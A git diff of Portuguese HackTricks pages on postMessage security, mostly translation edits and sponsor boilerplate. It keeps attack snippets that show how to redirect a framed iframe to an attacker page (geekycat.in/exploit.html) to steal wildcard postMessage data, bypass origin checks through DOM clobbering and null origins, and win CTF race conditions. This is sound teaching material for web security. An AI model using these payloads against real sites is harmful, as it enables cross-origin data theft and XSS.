* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -52,12 +52,12 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -8,10 +8,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -50,7 +50,7 @@ Se o **coringa** for usado, **mensagens podem ser enviadas para qualquer domíni
### Atacando iframe & coringa em **targetOrigin**
Conforme explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) se você encontrar uma página que pode ser **inserida em um iframe** (sem proteção de `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Conforme explicado neste [**relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **inserida em um iframe** (sem proteção de `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Note que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um coringa**, esse **truque não funcionará**.
```markup
<html>
@ -103,13 +103,13 @@ Para **encontrar ouvintes de eventos** na página atual, você pode:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita em regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- A função **`match()`**, semelhante a `search()`, processa regex. Se o regex for estruturado incorretamente, pode ser propenso a contornos.
- A função **`match()`**, semelhante a `search()`, processa regex. Se a regex for estruturada incorretamente, ela pode ser propensa a contornos.
- A função **`escapeHtml`** é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheça `hasOwnProperty`, o `escapeHtml` não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo:
@ -165,7 +165,7 @@ Para mais informações **leia:**
### Bypass do Cabeçalho X-Frame
Para realizar esses ataques, idealmente você poderá **colocar a página da web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
Nesses cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
Em tais cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
```markup
<script>
var w=window.open("<url>")
@ -182,7 +182,7 @@ Na página a seguir, você pode ver como poderia roubar dados **sensíveis de po
### Roubo de mensagem modificando a localização do iframe
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Header que contenha outro iframe, você pode **alterar a localização desse iframe filho**, então, se estiver recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Options que contenha outro iframe, você pode **alterar a localização desse iframe filho**, então, se estiver recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -190,7 +190,7 @@ Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-
### postMessage para Poluição de Protótipo e/ou XSS
Em cenários onde os dados enviados por meio de `postMessage` são executados por JS, você pode **inserir um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
Em cenários onde os dados enviados por meio de `postMessage` são executados pelo JS, você pode **inserir um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
Alguns **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
@ -228,10 +228,10 @@ Para **mais informações**:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -14,12 +14,12 @@
## Ganhar RCs com Iframes
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), documentos de blob criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), os blobs de documentos criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a **página pai** vai **enviar uma mensagem post** com a **flag**.\
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a página **pai** vai **enviar uma mensagem post** com a **flag**.\
No entanto, essa comunicação postmessage é **vulnerável a XSS** (o **iframe** pode executar código JS).
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** de permitir que a **página pai envie os dados sensíveis (flag)**, **mantê-la ocupada** e enviar o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá ouvir a **mensagem postmessage da página pai e vazar a flag**.\
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** de permitir que a **página pai envie os dados sensíveis (flag)**, **mantenha-a ocupada** e envie o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá ouvir a **mensagem postmessage da página pai e vazar a flag**.\
Finalmente, o iframe executou o payload e a página pai deixa de estar ocupada, então ela envia a flag e o payload a vaza.
Mas como você poderia fazer a página pai **ficar ocupada logo após gerar o iframe e apenas enquanto espera o iframe estar pronto para enviar os dados sensíveis?** Basicamente, você precisa encontrar uma **ação assíncrona** que você poderia fazer a página pai **executar**. Por exemplo, nesse desafio a página pai estava **ouvindo** as **postmessages** assim:
@ -30,7 +30,7 @@ $("#previewModal").modal();
}
});
```
Portanto, era possível enviar um **número inteiro grande em um postmessage** que será **convertido em string** nessa comparação, o que levará algum tempo:
Portanto, era possível enviar um **número inteiro grande em uma postmessage** que será **convertido em string** nessa comparação, o que levará algum tempo:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -37,7 +37,7 @@ Se a página fosse **incorporável**, você poderia burlar essa proteção dessa
### Bypass SOP 2 (window.origin === null)
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox**, a menos que `allow-popups-to-escape-sandbox` seja definido.\
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox** a menos que `allow-popups-to-escape-sandbox` seja definido.\
Portanto, abrir um **popup** a partir de uma **origem nula** fará com que o **`window.origin`** dentro do popup também seja **`null`**.
### Solução do Desafio
@ -81,12 +81,12 @@ document.body.appendChild(f);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -20,13 +20,13 @@ Neste desafio, o atacante precisa **burlar** isso:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Se ele fizer isso, ele pode enviar uma **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem saneamento (**XSS**).
Se ele fizer isso, ele pode enviar um **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem saneamento (**XSS**).
A maneira de contornar a **primeira verificação** é tornando **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:
- **`window.calc.contentWindow`** é na verdade **`document.getElementById("calc")`**. Você pode sobrescrever **`document.getElementById`** com **`<img name=getElementById />`** (observe que a API Sanitizer -[aqui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- não está configurada para proteger contra ataques de sobrescrita de DOM em seu estado padrão).
- Portanto, você pode sobrescrever **`document.getElementById("calc")`** com **`<img name=getElementById /><div id=calc></div>`**. Em seguida, **`window.calc`** será **`undefined`**.
- Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** uma **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o código a seguir
- Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** um **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o código a seguir
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -78,12 +78,12 @@ setTimeout(start, 1000);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -18,7 +18,7 @@ De acordo com [**este artigo**](https://blog.geekycat.in/google-vrp-hijacking-yo
Por exemplo, se abc.com tem efg.com como iframe e abc.com não tem o cabeçalho X-Frame, eu poderia alterar o efg.com para evil.com em uma origem cruzada usando, **`frames.location`**.
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **curinga** como `windowRef.postmessage("","*")`, é possível **alterar a localização do iframe relacionado (filho ou pai) para uma localização controlada pelo atacante** e roubar esses dados.
Isso é especialmente útil em **postMessages** porque se uma página estiver enviando dados sensíveis usando um **coringa** como `windowRef.postmessage("","*")`, é possível **alterar a localização do iframe relacionado (filho ou pai) para uma localização controlada pelo atacante** e roubar esses dados.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -37,12 +37,12 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -4,12 +4,12 @@
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
